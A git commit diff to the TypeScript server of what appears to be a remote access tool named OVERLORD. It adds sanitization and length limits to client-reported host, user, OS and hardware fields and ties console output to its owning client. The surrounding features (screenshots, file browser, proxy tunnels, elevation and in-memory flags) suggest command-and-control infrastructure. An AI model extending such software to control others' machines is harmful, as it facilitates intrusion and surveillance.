fix potential dos attack and fix sanitation not being done

This commit is contained in:
KingKDot
2026-04-14 20:31:01 -05:00
parent 1807a94e9f
commit 7c6bcccda7
4 changed files with 40 additions and 29 deletions
+1 -1
View File
@@ -537,7 +537,7 @@ async function startServer() {
takePendingNotificationScreenshot: takePendingNotificationScreenshotForClient, takePendingNotificationScreenshot: takePendingNotificationScreenshotForClient,
storeNotificationScreenshot: storeNotificationScreenshotForPending, storeNotificationScreenshot: storeNotificationScreenshotForPending,
handleNotificationScreenshotResult: notificationPluginHandlers.handleNotificationScreenshotResult, handleNotificationScreenshotResult: notificationPluginHandlers.handleNotificationScreenshotResult,
handleConsoleOutput, handleConsoleOutput: (clientId: string, payload: any) => handleConsoleOutput(clientId, payload),
handleFileBrowserMessage: (clientId: string, payload: any) => handleFileBrowserMessage: (clientId: string, payload: any) =>
forwardFileBrowserMessage(clientId, payload, { forwardFileBrowserMessage(clientId, payload, {
pendingHttpDownloads, pendingHttpDownloads,
@@ -65,7 +65,7 @@ type WsLifecycleDeps = {
height?: number, height?: number,
) => void; ) => void;
handleNotificationScreenshotResult: (clientId: string, payload: any) => void; handleNotificationScreenshotResult: (clientId: string, payload: any) => void;
handleConsoleOutput: (payload: any) => void; handleConsoleOutput: (clientId: string, payload: any) => void;
handleFileBrowserMessage: (clientId: string, payload: any) => void; handleFileBrowserMessage: (clientId: string, payload: any) => void;
handleProxyTunnelData: (clientId: string, connectionId: string, data: Uint8Array) => void; handleProxyTunnelData: (clientId: string, connectionId: string, data: Uint8Array) => void;
handleProxyTunnelClose: (clientId: string, connectionId: string) => void; handleProxyTunnelClose: (clientId: string, connectionId: string) => void;
@@ -290,20 +290,24 @@ export async function handleWebSocketMessage(
const countryRaw = geo?.country || (payload as any).country || "ZZ"; const countryRaw = geo?.country || (payload as any).country || "ZZ";
const country = /^[A-Z]{2}$/i.test(countryRaw) ? countryRaw.toUpperCase() : "ZZ"; const country = /^[A-Z]{2}$/i.test(countryRaw) ? countryRaw.toUpperCase() : "ZZ";
const _s = (v: unknown, max = 256): string | undefined => {
if (typeof v !== "string") return undefined;
return v.replace(/[\x00-\x08\x0B\x0C\x0E-\x1F\x7F]/g, "").slice(0, max);
};
upsertClientRow({ upsertClientRow({
id: resolvedId, id: resolvedId,
hwid: (payload as any).hwid || resolvedId, hwid: _s((payload as any).hwid) || resolvedId,
role: "client", role: "client",
ip: ip || undefined, ip: ip || undefined,
host: (payload as any).host || undefined, host: _s((payload as any).host),
os: (payload as any).os || undefined, os: _s((payload as any).os),
arch: (payload as any).arch || undefined, arch: _s((payload as any).arch, 32),
version: (payload as any).version || undefined, version: _s((payload as any).version, 64),
user: (payload as any).user || undefined, user: _s((payload as any).user),
monitors: (payload as any).monitors || undefined, monitors: (payload as any).monitors || undefined,
cpu: (payload as any).cpu || undefined, cpu: _s((payload as any).cpu),
gpu: (payload as any).gpu || undefined, gpu: _s((payload as any).gpu),
ram: (payload as any).ram || undefined, ram: _s((payload as any).ram, 64),
country, country,
lastSeen: Date.now(), lastSeen: Date.now(),
online: 0 as any, online: 0 as any,
@@ -319,17 +323,17 @@ export async function handleWebSocketMessage(
deps.notifyDashboard(); deps.notifyDashboard();
deps.notifyDashboardClientEvent("client_purgatory", { deps.notifyDashboardClientEvent("client_purgatory", {
id: resolvedId, id: resolvedId,
host: (payload as any).host || undefined, host: _s((payload as any).host),
user: (payload as any).user || undefined, user: _s((payload as any).user),
os: (payload as any).os || undefined, os: _s((payload as any).os),
ip: ip || undefined, ip: ip || undefined,
country, country,
}); });
deps.broadcastClientEvent("client_purgatory", { deps.broadcastClientEvent("client_purgatory", {
id: resolvedId, id: resolvedId,
host: (payload as any).host || undefined, host: _s((payload as any).host),
user: (payload as any).user || undefined, user: _s((payload as any).user),
os: (payload as any).os || undefined, os: _s((payload as any).os),
ip: ip || undefined, ip: ip || undefined,
country, country,
}); });
@@ -468,7 +472,7 @@ export async function handleWebSocketMessage(
deps.handleNotificationScreenshotResult(client.id, payload); deps.handleNotificationScreenshotResult(client.id, payload);
break; break;
case "console_output": case "console_output":
deps.handleConsoleOutput(payload); deps.handleConsoleOutput(client.id, payload);
break; break;
case "file_list_result": case "file_list_result":
case "file_download": case "file_download":
@@ -911,11 +911,12 @@ export function handleConsoleViewerMessage(ws: ServerWebSocket<SocketData>, raw:
} }
} }
export function handleConsoleOutput(payload: any) { export function handleConsoleOutput(clientId: string, payload: any) {
const sessionId = payload.sessionId as string; const sessionId = payload.sessionId as string;
if (!sessionId) return; if (!sessionId) return;
const session = sessionManager.getConsoleSession(sessionId); const session = sessionManager.getConsoleSession(sessionId);
if (!session) return; if (!session) return;
if (session.clientId !== clientId) return;
const data = payload.data ? textDecoder.decode(payload.data as Uint8Array) : ""; const data = payload.data ? textDecoder.decode(payload.data as Uint8Array) : "";
safeSendViewer(session.viewer, { safeSendViewer(session.viewer, {
type: "output", type: "output",
+16 -10
View File
@@ -11,6 +11,12 @@ import {
import { upsertClientRow } from "./db"; import { upsertClientRow } from "./db";
import { metrics } from "./metrics"; import { metrics } from "./metrics";
/** Strip control chars and clamp length on client-supplied info strings. */
function sanitizeInfoString(val: unknown, maxLen = 256): string | undefined {
if (typeof val !== "string") return undefined;
return val.replace(/[\x00-\x08\x0B\x0C\x0E-\x1F\x7F]/g, "").slice(0, maxLen);
}
const MAX_PING_RTT_MS = 15_000; const MAX_PING_RTT_MS = 15_000;
const CLIENT_DB_SYNC_INTERVAL_MS = Number(process.env.OVERLORD_CLIENT_DB_SYNC_MS || 5000); const CLIENT_DB_SYNC_INTERVAL_MS = Number(process.env.OVERLORD_CLIENT_DB_SYNC_MS || 5000);
const lastClientDbSync = new Map<string, number>(); const lastClientDbSync = new Map<string, number>();
@@ -80,23 +86,23 @@ export function handleHello(
if (ip) { if (ip) {
info.ip = ip; info.ip = ip;
} }
info.hwid = (payload as any).hwid as string | undefined; info.hwid = sanitizeInfoString((payload as any).hwid);
info.host = payload.host; info.host = sanitizeInfoString(payload.host);
info.os = payload.os; info.os = sanitizeInfoString(payload.os);
info.arch = payload.arch; info.arch = sanitizeInfoString(payload.arch, 32);
info.version = payload.version; info.version = sanitizeInfoString(payload.version, 64);
info.user = payload.user; info.user = sanitizeInfoString(payload.user);
info.monitors = payload.monitors; info.monitors = payload.monitors;
info.monitorInfo = (payload as any).monitorInfo || info.monitorInfo; info.monitorInfo = (payload as any).monitorInfo || info.monitorInfo;
info.inMemory = !!(payload as any).inMemory; info.inMemory = !!(payload as any).inMemory;
info.isAdmin = !!(payload as any).isAdmin; info.isAdmin = !!(payload as any).isAdmin;
info.elevation = typeof (payload as any).elevation === "string" ? (payload as any).elevation : info.elevation; info.elevation = sanitizeInfoString((payload as any).elevation, 32) ?? info.elevation;
if ((payload as any).permissions && typeof (payload as any).permissions === "object") { if ((payload as any).permissions && typeof (payload as any).permissions === "object") {
info.permissions = (payload as any).permissions; info.permissions = (payload as any).permissions;
} }
info.cpu = (payload as any).cpu || info.cpu; info.cpu = sanitizeInfoString((payload as any).cpu) || info.cpu;
info.gpu = (payload as any).gpu || info.gpu; info.gpu = sanitizeInfoString((payload as any).gpu) || info.gpu;
info.ram = (payload as any).ram || info.ram; info.ram = sanitizeInfoString((payload as any).ram, 64) || info.ram;
const geo = ip ? geoip.lookup(ip) : undefined; const geo = ip ? geoip.lookup(ip) : undefined;
const countryRaw = const countryRaw =
geo?.country || (payload as any).country || info.country || "ZZ"; geo?.country || (payload as any).country || info.country || "ZZ";